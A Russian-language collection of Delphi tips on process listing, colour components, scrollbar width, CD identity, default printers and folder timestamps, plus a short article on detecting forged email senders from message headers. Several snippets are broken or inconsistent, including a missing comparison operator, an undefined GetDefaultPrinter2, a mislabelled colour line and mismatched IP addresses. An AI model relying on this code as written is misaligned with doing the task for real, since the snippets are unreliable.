Дата:        26 апреля 2002 г.
***************************************************** }
procedure GetProcessList(var sl: TStrings);
var
  pe: TProcessEntry32;
  ph, snap: THandle; //дескрипторы процесса и снимка
  mh: hmodule; //дескриптор модуля
  procs: array[0..$FFF] of dword; //массив для хранения дескрипторов процессов
  count, cm: cardinal; //количество процессов
  i: integer;
  ModName: array[0..max_path] of char; //имя модуля
begin
  sl.Clear;
  if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
  begin //если это Win9x
    snap := CreateToolhelp32Snapshot(th32cs_snapprocess, 0);
    if integer(snap) = -1 then
    begin
      exit;
    end
    else
    begin
      pe.dwSize := sizeof(pe);
      if Process32First(snap, pe) then
        repeat
          sl.Add(string(pe.szExeFile));
        until not Process32Next(snap, pe);
    end;
  end
  else
  begin //Если WinNT/2000/XP
    if not EnumProcesses(@procs, sizeof(procs), count) then
    begin
      exit;
    end;
    for i := 0 to count div 4 - 1 do
    begin
      ph := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,
        false, procs[i]);
      if ph > 0 then
      begin
        EnumProcessModules(ph, @mh, 4, cm);
        GetModuleFileNameEx(ph, mh, ModName, sizeof(ModName));
        sl.Add(string(ModName));
        CloseHandle(ph);
      end;
    end;
  end;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  tmp: TStrings;
begin
  tmp := memo1.Lines;
  GetProcessList(tmp);
end;

Как извлечь Red, Green, Blue составляющие из определённого цвета.

Статьи по Delphi (008)…

Используйте функции Window API GetRValue(), GetGValue() и GetBValue():

procedure TForm1.Button1Click(Sender: TObject);
begin
  with Form1.Canvas.Pen do
  begin
    Color := clRed;
    with Memo1.Lines do
    begin
      Add('Red  := ' + IntToStr(GetRValue(Color)));
      Add('Red  := ' + IntToStr(GetGValue(Color)));
      Add('Blue := ' + IntToStr(GetBValue(Color)));
    end;
  end;
end;

Как получить ширину ScrollBar.

// These snippets get the width of the scrollbars, as defined BY THE USER
// on the Display Properties screen Appearance tab.  The code below is
// for a string grid, but any component that has scrollbars should work as
// well.
//
// by Robert E. Baker (robertbaker@bigfoot.com)
//
// For a vertical scrollbar
   if ScrollBarVisible(StringGrid1.Handle, WS_VSCROLL) then
      ScrollBarWidth := GetSystemMetrics(SM_CXVSCROLL)
   else
      ScrollBarWidth := 0;
// For a vertical scrollbar
   if ScrollBarVisible(StringGrid1.Handle, WS_HSCROLL) then
      ScrollBarWidth := GetSystemMetrics(SM_CXHSCROLL)
   else
      ScrollBarWidth := 0;
// The code for the ScrollBarVisible function is below:
function ScrollBarVisible(Handle : HWnd; Style : Longint) : Boolean;
begin
   Result := (GetWindowLong(Handle, GWL_STYLE) and Style) <> 0;
end;

Определяем отправителя.

Оформил: DeeCo

Электронная почта, как впрочем и обычная, является важным атрибутом нашей privacy, инструментом обмена информацией частного характера. Но она немедленно перестает быть таковым, если нарушаются три важных условия. Первое: текст сообщения доступен только отправителю и адресату. Второе: уверенность в том, что полученное письмо принадлежит тому человеку, чья подпись стоит под этим письмом. Третье: возможность отправить письмо, оставшись, в случае необходимости, анонимным. Обсуждение первого вопроса выходит за рамки этой статьи, поскольку относится к области гражданской криптографии, что требует отдельного разговора. Мы же рассмотрим последние два вопроса. Получение Иногда у пользователя возникает ситуация, в которой ему хотелось бы выявить реального автора полученного сообщения. Например, вы получили сообщение от вашей жены, в котором она пишет, что уходит к другому. Вы можете либо вздохнуть с облегчением, выпить на радости рюмку-другую, и отправиться с друзьями на дачу праздновать это событие (предпочтительный, с точки зрения автора, вариант), либо попытаться выяснить, не является ли это шуткой ваших друзей. Ваши умные друзья могли легко изменить поле From в отправленном сообщении, поставив туда вместо своего обратного адреса хорошо известный вам адрес вашей жены, например vasya@super.net. Как это делается, можно прочесть ниже, в разделе "Отправка". Так что стоящая перед нами задача сводится к следующему: соответствует ли указанный адрес отправителя адресу, с которого в действительности было отправлено сообщение. Итак, каждое электронное сообщение содержит заголовок (header), представляющий из себя служебную информацию о дате отправления сообщения, названии почтовой программы, IP адресе машины, с которой было отправлено сообщение, и т.п. Большинство почтовых программ по умолчанию не отражают эту информацию, но ее всегда можно просмотреть, либо открыв файл, содержащий входящую почту, с помощью любого текстового редактора, либо использовав функцию почтовой программы, позволяющую просматривать служебные заголовки, которая, как правило, называется Show all headers. В почтовой программе Eudora это делается простым нажатием на кнопку Blah-Blah-Blah, в Outlook Express наводим курсор мыши на заголовок, кликаем правой кнопкой. На экране появляется примерно такая информация:
Received: by geocities.com(8.8.5 / 8.8.5)with ESMTP id JAA16952
for ;
Tue, 18 Nov 1997 09: 37: 40 - 0800(PST)
Received: from vasya.super.net(really[209.50.60.79])
by endeavor.super.net(8.8.7 / 8.8.5)with SMTP id LAA20454
  for ;
Tue, 18 Nov 1997 11: 37: 38 - 0600(CST)
Message - ID: < 3471 D27E.69 A9@super.net >
Date: Tue, 18 Nov 1997 11: 38: 07 - 0600
From: vasya@super.net
X - Mailer: Mozilla 3.02(Win95; U)
MIME - Version: 1.0
to : petya@geocities.com
Subject: I don’t love you any more, you fool !!!!
Заголовки Received сообщают о пути, который прошло сообщение в процессе пересылки по сети. Имена машин (geocities.com, endeavor.super.net) указывают на то, что сообщение, скорее всего, пришло к вам в geocities.com из домена super.net. Если имена машин не имеют ничего общего с super.net (например, mailrelay.tiac.net), это повод задуматься о подлинности сообщения. Но самая главная строка для нас - последняя из строк, начинающихся со слова Received:
Received: from vasya.super.net (really [209.50.60.79])
Она отражает имя машины (vasya.super.net) и уникальный IP адрес, с которого было отправлено сообщение. Мы видим, что домен (super.net) соответствует адресу. Впрочем, можно подделать и строку vasya.super.net (в Windows 95 это делается через через Control Panel=>Network=>TCP/IP Properties=>DNS Configuration, указав vasya и super.net в полях Host и Domain соответственно), поэтому для нас важно определить имя, соответствующее данному IP адресу: 209.30.69.99. Для определения имени, соответствующего цифровому адресу, можно воспользоваться одной из доступных программ, например CyberKit, Shadow Scan. Набрав цифровой адрес, мы даем команду NS LookUp (Name Server Lookup) и смотрим на полученный результат. Если имя определилось, то дальше все просто: если вы получили что-нибудь вроде ppp303.super.net или p28-dialup.super.net, то сообщение отправлено другом (или кем-то, имеющим счет в Supernet, но тут вы уже бессильны что-либо выяснить). Если нечто весьма далекое от super.net - он его скорее всего не посылал. Бывают ситуации, когда адрес не определяется. Не отчаивайтесь: воспользуйтесь функцией TraceRoute из той же программы. Эта функция поможет проследить путь от вашей машины до указанного IP адреса. Этот адрес (он будет последним в списке узлов, через которые сигнал прошел от вашего компьютера до компьютера с указанным IP адресом) снова не определится, но последний из определившихся по имени узлов все-таки укажет на примерное географическое положение компьютера отправителя. Можно спец программу и не заводить. Выполнить вышеописанную процедуру можно на http://www.all-nettols.com/ . Что письмо отправлено из Гондураса? И друзей у Вас там нет? Тогда все понятно. Вам просто пудрят мозги.

Как узнать серийный номер аудио CD.

Отец-программист сидит у телевизора. Сынок возится с компьютером. Через некоторое время сынок подбегает к папе: - Папа! А что значит надпись "Формат диск C камплит?

CD может иметь или не иметь серийный номер и/или универсальный код продукта (Universal Product Code). MCI-расширение Windows предоставляет эту информации с помощью комманды MCI_INFO_MEDIA_IDENTITY command. Эта команда возвращает уникальную ID-строку.

uses
  MMSystem, MPlayer;
procedure TForm1.Button1Click(Sender: TObject);
var
  mp: TMediaPlayer;
  msp: TMCI_INFO_PARMS;
  MediaString: array [0..255] of char;
  ret: longint;
begin
  mp := TMediaPlayer.Create(nil);
  mp.Visible := false;
  mp.Parent := Application.MainForm;
  mp.Shareable := true;
  mp.DeviceType := dtCDAudio;
  mp.FileName := 'D:';
  mp.Open;
  Application.ProcessMessages;
  FillChar(MediaString, sizeof(MediaString), #0);
  FillChar(msp, sizeof(msp), #0);
  msp.lpstrReturn := @MediaString;
  msp.dwRetSize := 255;
  ret := mciSendCommand(Mp.DeviceId, MCI_INFO,
  MCI_INFO_MEDIA_IDENTITY, longint(@msp));
  if Ret 0 then
  begin
    MciGetErrorString(ret, @MediaString, sizeof(MediaString));
    Memo1.Lines.Add(StrPas(MediaString));
  end
  else
    Memo1.Lines.Add(StrPas(MediaString));
  mp.Close;
  Application.ProcessMessages;
  mp.free;
end;
end.

Получить или установить принтер по умолчанию.

uses 
  Printers, Messages; 
function GetDefaultPrinter: string; 
var 
  ResStr: array[0..255] of Char; 
begin 
  GetProfileString('Windows', 'device', '', ResStr, 255); 
  Result := StrPas(ResStr); 
end; 
procedure SetDefaultPrinter1(NewDefPrinter: string); 
var 
  ResStr: array[0..255] of Char; 
begin 
  StrPCopy(ResStr, NewdefPrinter); 
  WriteProfileString('windows', 'device', ResStr); 
  StrCopy(ResStr, 'windows'); 
  SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, Longint(@ResStr)); 
end; 
procedure SetDefaultPrinter2(PrinterName: string); 
var 
  I: Integer; 
  Device: PChar; 
  Driver: PChar; 
  Port: PChar; 
  HdeviceMode: THandle; 
  aPrinter: TPrinter; 
begin 
  Printer.PrinterIndex := -1; 
  GetMem(Device, 255); 
  GetMem(Driver, 255); 
  GetMem(Port, 255); 
  aPrinter := TPrinter.Create; 
  try 
    for I := 0 to Printer.Printers.Count - 1 do 
    begin 
      if Printer.Printers = PrinterName then 
      begin 
        aprinter.PrinterIndex := i; 
        aPrinter.getprinter(device, driver, port, HdeviceMode); 
        StrCat(Device, ','); 
        StrCat(Device, Driver); 
        StrCat(Device, Port); 
        WriteProfileString('windows', 'device', Device); 
        StrCopy(Device, 'windows'); 
        SendMessage(HWND_BROADCAST, WM_WININICHANGE, 
          0, Longint(@Device)); 
      end; 
    end; 
  finally 
    aPrinter.Free; 
  end; 
  FreeMem(Device, 255); 
  FreeMem(Driver, 255); 
  FreeMem(Port, 255); 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  label1.Caption := GetDefaultPrinter2; 
end; 
//Fill the combobox with all available printers 
procedure TForm1.FormCreate(Sender: TObject); 
begin 
  Combobox1.Items.Clear; 
  Combobox1.Items.AddStrings(Printer.Printers); 
end; 
//Set the selected printer in the combobox as default printer 
procedure TForm1.Button2Click(Sender: TObject); 
begin 
  SetDefaultPrinter(Combobox1.Text); 
end;

Как прочитать или установить принтер по умолчанию.

Автор: http://www.swissdelphicenter.ch

uses
  Printers, Messages;
function GetDefaultPrinter: string;
var
  ResStr: array[0..255] of Char;
begin
  GetProfileString('Windows', 'device', '', ResStr, 255);
  Result := StrPas(ResStr);
end;
procedure SetDefaultPrinter1(NewDefPrinter: string);
var
  ResStr: array[0..255] of Char;
begin
  StrPCopy(ResStr, NewdefPrinter);
  WriteProfileString('windows', 'device', ResStr);
  StrCopy(ResStr, 'windows');
  SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, Longint(@ResStr));
end;
procedure SetDefaultPrinter2(PrinterName: string);
var
  I: Integer;
  Device: PChar;
  Driver: PChar;
  Port: PChar;
  HdeviceMode: THandle;
  aPrinter: TPrinter;
begin
  Printer.PrinterIndex := -1;
  GetMem(Device, 255);
  GetMem(Driver, 255);
  GetMem(Port, 255);
  aPrinter := TPrinter.Create;
  try
    for I := 0 to Printer.Printers.Count - 1 do
    begin
      if Printer.Printers = PrinterName then
      begin
        aprinter.PrinterIndex := i;
        aPrinter.getprinter(device, driver, port, HdeviceMode);
        StrCat(Device, ',');
        StrCat(Device, Driver);
        StrCat(Device, Port);
        WriteProfileString('windows', 'device', Device);
        StrCopy(Device, 'windows');
        SendMessage(HWND_BROADCAST, WM_WININICHANGE,
          0, Longint(@Device));
      end;
    end;
  finally
    aPrinter.Free;
  end;
  FreeMem(Device, 255);
  FreeMem(Driver, 255);
  FreeMem(Port, 255);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  label1.Caption := GetDefaultPrinter2;
end;
//Fill the combobox with all available printers
procedure TForm1.FormCreate(Sender: TObject);
begin
  Combobox1.Items.Clear;
  Combobox1.Items.AddStrings(Printer.Printers);
end;
//Set the selected printer in the combobox as default printer
procedure TForm1.Button2Click(Sender: TObject);
begin
  SetDefaultPrinter(Combobox1.Text);
end;

Получить или установить дату для директории.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function GetFolderDate(Folder: string): TDateTime;
 var
   Rec: TSearchRec;
   Found: Integer;
   Date: TDateTime;
 begin
   if Folder[Length(folder)] = '\' then
     Delete(Folder, Length(folder), 1);
   Result := 0;
   Found  := FindFirst(Folder, faDirectory, Rec);
   try
     if Found = 0 then
     begin
       Date   := FileDateToDateTime(Rec.Time);
       Result := Date;
     end;
   finally
     FindClose(Rec);
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   d: TDateTime;
 begin
   d := GetFolderDate('C:\WINNT');
   ShowMessage(FormatDateTime('dddd, d. mmmm yyyy, hh:mm:ss', d));
 end;
 { Sets the time for both files and directories }
 { for NT }
 function NT_SetDateTime(FileName: string; dtCreation, dtLastAccessTime, dtLastWriteTime: TDateTime): Boolean;
 // by Nicholas Robinson 
var
   hDir: THandle;
   ftCreation: TFiletime;
   ftLastAccessTime: TFiletime;
   ftLastWriteTime: TFiletime;
   function DTtoFT(dt: TDateTime): TFiletime;
   var
     dwft: DWORD;
     ft: TFiletime;
   begin
     dwft := DateTimeToFileDate(dt);
     DosDateTimeToFileTime(LongRec(dwft).Hi, LongRec(dwft).Lo, ft);
     LocalFileTimeToFileTime(ft, Result);
   end;
 begin
   hDir := CreateFile(PChar(FileName),
                      GENERIC_READ or GENERIC_WRITE,
                      0,
                      nil,
                      OPEN_EXISTING,
                      FILE_FLAG_BACKUP_SEMANTICS,
                      0);
   if hDir <> INVALID_HANDLE_VALUE then
    begin
     try
       ftCreation       := DTtoFT(dtCreation);
       ftLastAccessTime := DTtoFT(dtLastAccessTime);
       ftLastWriteTime  := DTtoFT(dtLastWriteTime);
       Result := SetFileTime(hDir, @ftCreation, @ftLastAccessTime, @ftLastWriteTime);
     finally
       CloseHandle(hDir);
     end;
   end
   else
     Result := False;
 end;
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   NT_SetDateTime('c:\temp\MyFolder', now, now, now);
 end;
Содержание.